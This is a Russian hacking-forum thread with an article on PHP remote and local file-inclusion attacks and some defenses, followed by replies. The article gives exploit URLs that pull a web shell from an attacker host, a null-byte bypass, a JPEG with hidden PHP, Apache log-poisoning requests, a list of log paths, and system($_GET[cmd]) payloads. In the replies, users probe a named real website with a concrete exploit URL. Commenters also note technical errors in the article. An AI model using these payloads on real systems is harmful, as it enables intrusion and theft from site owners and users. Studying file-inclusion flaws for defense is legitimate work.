PDA

Просмотр полной версии : PHP-include и способы защиты


_Pantera_
14.11.2008, 18:25
Введение


Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью!




Глобальный инклуд


Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:

* include();
* include_once();
* require();
* require_once().

Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода:
<?php
if($_GET['page'].'.php')
{
include($_GET['page'].'.php');
}
else
{
include($file.'.php');
}
?>
С помощью условия мы проверяем, если через url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:

http://site.ru/index.php?page=http://hack.ru/shell

В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода немного другая. Переменная $file не
была определенна раннее и злоумышленник может выполнить удаленно php код:

http://site.ru/index.php?file=http://hack.ru/shell

Функция include_once() практически не отличается от include(), за одним исключением: прежде чем включать файл в программу,
она проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет -
происходит стандартное включение файла.
<?php
include_once($file.'.gif');
?>
В этом примере к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' можно двумя способами:
1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение
http://site.ru/index.php?file=http://hack.ru/shell.php%00
2) даже если magic_quotes_gpc = On
http://site.ru/index.php?file=http://hack.ru/shell.php?


Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
<?php
require($file);
?>
Атака аналогична, но в этом случае расширение не приписывается:
http://site.ru/index.php?page=http://hack.ru/shell.php


Функция require_once() загружает файл в сценарий всего один раз.
<?php
require_once($file.'.php');
?>
Атака аналогична...




Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

<?php
$f=fopen("$file.php","r");

while (!feof($f))
{
$s=fgets($f,255);
echo $s;
}

fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

http://site.ru/index.php?file=http://hack.ru/shell

В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

<?php
readfile($file);
?>

Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

http://site.ru/index.php?file=http://hack.ru/shell


Теперь рассмотрим такой вариант:

<?php
echo implode("", file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
http://site.ru/index.php?file=http://hack.ru/shell.php



Защита от глобальный инклудов

Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case:

<?php

global $page;

switch ($page)
{
case '':
include ("pages/main.php");
break;

case 'index':
include ("pages/main.php");
break;

case 'page1':
include ("pages/folder/page1.php");
break;

case 'page2':
include ("pages/folder/page2.php");
break;

default:
include ("pages/hack.php");
break;
}

?>

Так же рекомендую отредактировать файл php.ini:

allow_url_include = Off //запрещаем удаленно инклудить файлы
allow_url_fopen = Off //запрещаем fopen открывать ссылки
register_globals = Off //отключим инициализацию глобальных переменных
safe_mode = On //включаем safe_mode (у хеккера не будет доступа к /etc/passwd и ему подобным)



Локальный инклуд

Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример:

<?php
include("include/$file");
?>

Глобально проинклудить не получиться, т.к переменная $file приписывается после каталога /include/
Что же можно сделать?

Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением.
Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину:

яШяа JFIF  ` ` яЫ C  

 $.' ",#(7),01444'9=82<.342яЫ C 

2!!222222222222222222222222222222222222222222222 22222яА  6 6" яД   
яД µ  } !1AQa"q2Ѓ‘Ў#B±БRСр$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzѓ„ †‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦§ ©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФХ ЦЧШЩЪбвгдежзийкстуфхцчшщъ яД   
яД µ  w !1AQaq"2ЃB‘Ў±Б #3RрbrС
$4б%с&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ѓ„ …†‡?‰Љ’“”•–—˜™љўЈ¤Ґ¦ Ё©ЄІіґµ¶·ё№єВГДЕЖЗИЙКТУФ ХЦЧШЩЪвгдежзийктуфхцчшщъя Ъ   ? чъ(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ
(ўЂ?яЩ
<?php include("http://hack.ru/shell.php"); ?>

Теперь такую картинку можно загрузить на форум и она будет воспринята именно как картинка :)
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:

http://www.site.com/index.php?include=../forum/images/shell.jpg

В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>



Логи апатча

Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы
естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение:

/logs/error.log
/logs/access.log
/logs/error_log
/logs/access_log

/var/log/error_log
/var/log/access_log
/var/log/error.log
/var/log/access.log

/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log

/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log

/var/log/httpd/error.log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/access_log

/apache/logs/error.log
/apache/logs/access.log
/apache/logs/error_log
/apache/logs/access_log

/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log

/home/www/logs/error_log
/home/www/logs/error.log
/home/www/logs/access_log
/home/www/logs/access.log

Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.0
Host: localhost
User-Agent: google/bot
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 104

Заголовок пакета записывается в логи апатча, расположенные по адресу:
Z:\usr\local\apache\logs\access.log
Тоесть в этот файлик записывается вот такая строчка:

127.0.0.1 - - [14/Nov/2008:15:40:43 +0200] "GET /index.php/<?php include("http://hack.ru/shell.php"); ?> HTTP/1.1" 400 414

Думаю суть понятна. Нам остается его проинклудить:

http://localhost/1.php?file=../../../../usr/local/apache/logs/access.log

И получить веб-шелл :)




Защита от локальных инклудов


Вот небольшой примерчик, как можно надежно защититься:
<?php


function stripslashes_for_array(&$array)
{
reset($array);
while (list($key, $val) = each($array))
{
if (is_string($val)) $array[$key] = stripslashes($val);
elseif (is_array($val)) $array[$key] = stripslashes_for_array($val);
}
return $array;
}

if (!get_magic_quotes_gpc())
{
stripslashes_for_array($_POST);
stripslashes_for_array($_GET);
}

if(isset($_GET['file']))$file=$_GET['file'];
else
{
if(isset($_POST['file']))$file=$_POST['file'];
else $file='';
}

$file=str_replace('/','',$file);
$file=str_replace('.','',$file);
if(!file_exists("include".'/'.$file.'.php')||$file=='index')
{
$file='news';
}

include("include".'/'.$file.'.php');

?>


И так, что тут происходит? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено или нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.

***************************************

PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание :)

nerezus
14.11.2008, 18:55
Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.

Zinus
14.11.2008, 19:02
TRUE PHP-injection (http://forum.antichat.ru/threadnav23501-1-10.html) - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца

[Raz0r]
14.11.2008, 19:47
Функция include() вставляет php-код из одного файла, в файл на котором вызывается эта функция.
мягко говоря некорректное определение функции
Глобальный инклуд
принято называть удаленный инклуд (remote include)
Из за того,
что переменная page не была определена раннее, злоумышленник может провести атаку:
В твоем коде переменной page вообще нет, есть элемент массива $_GET['page'], который ранее никак не мог быть инициализирован
Переменная $file не
была определенна раннее и злоумышленик может выполнить удаленно php код:
а если register_globals=off ?
Для того что б его срезать используют
называемый в народе "ядовитый ноль" - %00, в php он обозначает окончание строки:
нуллбайт означает конец строки в C,C++ - но уж точно не в php
Я же приведу пример на локалхосте, думаю многим понятнее будет. С помощью программы InetCrack я отправляю пакет такого содержания:

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0
а если повнимательней?

Grey
14.11.2008, 20:16
Муххахах:

http://site.ru/index.php?file=http://hack.ru/shell.php%00

И накой ***? если это возможно только при мейджик квотс = офф?

А вот так можно и при мейджик квотс = он:

http://site.ru/index.php?file=http://hack.ru/shell.php?

Не похек. Статьи должны писаться при полном понимание того, о чем пишешь, а не абы как. Меня вот сомнения терзают что ты практиковался с инклудами.

Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0

Жесть! ты хоть книгу по php открывал?

[Raz0r]
14.11.2008, 20:39
К примеру ereg останавливается на нуллбайте. + PHP писался на C. => много всего из си перешло в php, включая синтаксис
ты хочешь сказать, что в PHP нужно указывать в конце каждой строки нуллбайт, как это делается в С?
http://ru.wikipedia.org/wiki/Нуль-терминированная_строка

[Raz0r]
14.11.2008, 21:13
я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
GET /index.php/<?php system(dir); ?> HTTP/1.0
результат тот же будет

<?php system($_GET[cmd]) ?> неужели так сложно?

Jokester
14.11.2008, 23:32
Не в этом дело! можно конечно просто <?php system($_GET[cmd]; ?> Я написал system($GET_[cmd]=dir); оно идентично system(dir); Но ребята, все что вы написали - это такие мелочи!Мда(с)

Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме"

Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>,
В результате, в файле index.php выполняется код <?php @system($GET_[cmd] = "ls -la"); ?>так, и что-же мы будем делать дальше? :) Я так полагаю будем лить ещё одну картинку? :)

vladim1
15.11.2008, 01:23
Теперь расмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

http://autismcorner.com/Verhaal.php?dir=.&file=../Verhaal.php

А в током случае есть решение ???

Sleep
15.11.2008, 06:30
2 Vadim1
_http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла
локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl

vladim1
15.11.2008, 10:26
обойти /nl,en/ я смог, проблема чтения локальных файлов это open_basedir restriction. Меня интересуют файлы другого сайта на этом хосте

bombeg
15.11.2008, 12:30
Так же рекомендую отредактировать файл php.ini:
и потом не меняя пользователя написать команду rm -rf /

_Pantera_
15.11.2008, 12:55
обойти /nl,en/ я смог, проблема чтения локальных файлов это . Меня интересуют файлы другого сайта на этом хосте
На другие зайти через эту читалку не сможешь, а прочитать все файлы лежащие на этом сайте - без проблем!

vladim1
15.11.2008, 12:59
Прочитал все, везде тупой file() -> echo, не один нормальный include

_Pantera_
16.11.2008, 19:37
Немного доработал статью! Если есть еще какие-либо идеи - пишите, я добавлю!

[Raz0r]
16.11.2008, 20:00
function stripslashes_for_array(&$a)
{
foreach($a as $k=>$v)
{
$a[$k] = stripslashes($v);
}
}

if (!get_magic_quotes_gpc())
{
stripslashes_for_array($_POST);
stripslashes_for_array($_GET);
}
а если передать index.php?file[][][]=lol? раскрытие путей... Нужно рекурсивно вызывать функцию обработки массивов

_Pantera_
16.11.2008, 22:40
Исправлено! Спасибо [Raz0r]

Велемир
12.02.2009, 17:32
Зато инклуда не будет))А почему это сработает? Вывода же нет.

cr0w
17.02.2009, 16:41
Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что и есть по умолчанию.

<?php
$f=fopen("$file.php","r");

while (!feof($f))
{
$s=fgets($f,255);
echo $s;
}

fclose($f);
?>
Из-за того что переменная $file не была определена ранее, злоумышленник может произвести атаку:

http://site.ru/index.php?file=http://hack.ru/shell

В итоге опять получаем веб-шелл.



Следующий пример - использование функции readfile()

<?php
readfile($file);
?>

Функция readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:

http://site.ru/index.php?file=http://hack.ru/shell


Теперь рассмотрим такой вариант:

<?php
echo implode("", file($file));
?>
С помощью функции implode() мы объединяем элементы массива в строку, а с помощью функции file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
http://site.ru/index.php?file=http://hack.ru/shell.php

Эээ, а где тут "мы имеем веб-шелл"? Без eval'a заместо echo тут нигде не получишь шелла...

Qwazar
17.02.2009, 19:12
странно, но работает o_O Не тупи, это просто читалка, ты просто не делай file=http://test1.ru/shell.php а сделай shell.txt . Т.к. в первом случае ты просто выводишь на экран результат работы того файла на том сервере, а не запускаешь его код.

З.Ы.
jokester спс.

xMSAx
11.04.2009, 06:28
А тут можно провести инклуд?
<?php
include_once('папка/config.php');
include_once('папкаclass_usershop.php');
include_once('папкаclass_users.php');
include_once('папка/functions_usershop.php');

если например это nea.php как провести php inj?

Ctacok
11.04.2009, 06:31
Нет
Здесь инклюдимый файл нельзя заменить.

xMSAx
11.04.2009, 09:24
а тут?
include_once('server_stats_generated.php');

$search = getSafeSearch($_GET['search']);
$script_name = "exchange.php";
$subpage = 'Exhange - Quotes';

1NtR0
12.04.2009, 22:35
а тут?

нельзя

m0Hze
15.04.2009, 16:21
Можно былобы,еслбы там стояло например:

include($_GET['inc']);

Тогда передаем постом ?inc=http://xakip.ned/shell.txt
А там значение не статическое,а постоянное.

brasco2k
15.04.2009, 17:37
Можно былобы,еслбы там стояло например:

include($_GET['inc']);

Тогда передаем постом ?inc=http://xakip.ned/shell.txt
А там значение не статическое,а постоянное.
статическое - это и есть постоянное